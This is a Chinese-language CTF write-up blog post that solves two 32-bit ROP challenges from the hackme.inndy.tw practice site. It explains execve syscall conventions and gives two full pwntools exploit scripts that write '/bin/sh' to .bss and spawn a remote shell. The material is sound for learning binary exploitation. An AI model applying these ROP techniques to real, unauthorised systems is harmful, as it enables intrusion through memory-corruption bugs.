最近文件挺多挺杂的,暂时先把这篇传上来。

ROP

32位,没找到system函数,但因为是静态链接,不能利用libc里的system。

学到了system call,这个不用调用函数,而是汇编指令int 0x80

我们可以查到execve的系统调用号为0x0b,而在系统调用时,eax是存放系统调用号,ebx,ecx,edx分别存放前3个参数,esi存放第4个参数,edi存放第5个参数,而Linux系统调用最多支持5个单独参数。如果实际参数超过5个,那么使用一个参数数组,并且将该数组的地址存放在ebx中。

ROP链中有一个值得学习的点,那就是/bin/sh如何写入bss。

这里是找到了pop dword ptr [ecx] ; ret,将数据写入ecx的地址处。第一次见,学到了。

ROP链的其它部分不必多说。

from pwn import *
context.log_level = 'debug'

#p = process('./rop')
#p = gdb.debug('./rop', 'b *0x08048893')
p = remote('hackme.inndy.tw', 7704)
e = ELF('./rop')

bss_addr = e.bss()
write2ecx = 0x0804b5ba              # pop dword ptr [ecx] ; ret
pop_ecx_ret = 0x080de769            # pop ecx ; ret
pop_eax_ret = 0x080b8016            # pop eax ; ret
#pop_ebx_ret = 0x080481c9           # pop ebx ; ret
pop_edx_ecx_ebx_ret = 0x0806ed00    # pop edx ; pop ecx ; pop ebx ; ret
int_0x80 = 0x0806c943               # int 0x80

payload = b'a' * 0xc + b'b' * 0x4
payload += p32(pop_ecx_ret) + p32(bss_addr) + p32(write2ecx) + b'/bin'
payload += p32(pop_ecx_ret) + p32(bss_addr + 4) + p32(write2ecx) + b'/sh\x00'
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(int_0x80)

p.sendline(payload)
p.interactive()

int 80看到eax=0xb,即知道调用execve。

execve是这样的:

int execve(const char * filename,char * const argv[ ],char * const envp[ ]);

这里虽然是x86,但是参数并不入栈,而是依次是ebx,ecx,edx.

ebx放shell命令。ecx和edx本题中置0.

我之前只pop ebx ret,但是没拿到shell。所以说ecx和edx可能是必须要带上的。

看下下图,一目了然:

image-20200921004527233

对了,用的是p.sendline。因为p.send的话,会一直停在gets函数那里,不会继续执行。

可能是gets函数一直读到回车才会跳出吧。

参考:https://xz.aliyun.com/t/3700#toc-2

rop2

x86,动态链接。这次也是syscall,但是和上一题rop不太一样,这里不是int 0x80实现的,而是call _syscall,所以参数是在栈上。

没找到pop eax; ret,所以用的是pop_eax_edx_ecx_ret

最后调用syscall的rop链忘了加上返回地址了(注释的那一行),我该死~

from pwn import *
context.log_level = 'debug'

#p = process('rop2')
#p = gdb.debug('./rop2', 'b *0x8048454')
p = remote('hackme.inndy.tw', 7703)
e = ELF('rop2')

syscall_addr = e.plt['syscall']
write2eax = 0x0804844e              # pop dword ptr [eax] ; ret
pop_eax_edx_ecx_ret = 0x0804843e    # pop eax ; pop edx ; pop ecx ; ret
bss_addr = e.bss()

payload = b'a' * 0xc + b'b' * 0x4
payload += p32(pop_eax_edx_ecx_ret) + p32(bss_addr) + p32(0xdeadbeef) + p32(0xdeadbeef) + p32(write2eax) + b'/bin'
payload += p32(pop_eax_edx_ecx_ret) + p32(bss_addr + 4) + p32(0xdeadbeef) + p32(0xdeadbeef) + p32(write2eax) + b'/sh\x00'
#payload += p32(syscall_addr) + p32(0xb) + p32(bss_addr) + p32(0) + p32(0)
payload += p32(syscall_addr) + p32(0xdeadbeef) + p32(0xb) + p32(bss_addr) + p32(0) + p32(0)
payload = payload.ljust(1024, b'c')

p.recvuntil('Give me your ropchain:')
p.sendline(payload)
p.interactive()

值得注意的一点是这题的read和write也是syscall实现的:

image-20200921014408141

syscall表:

Last modification:September 22nd, 2020 at 10:06 pm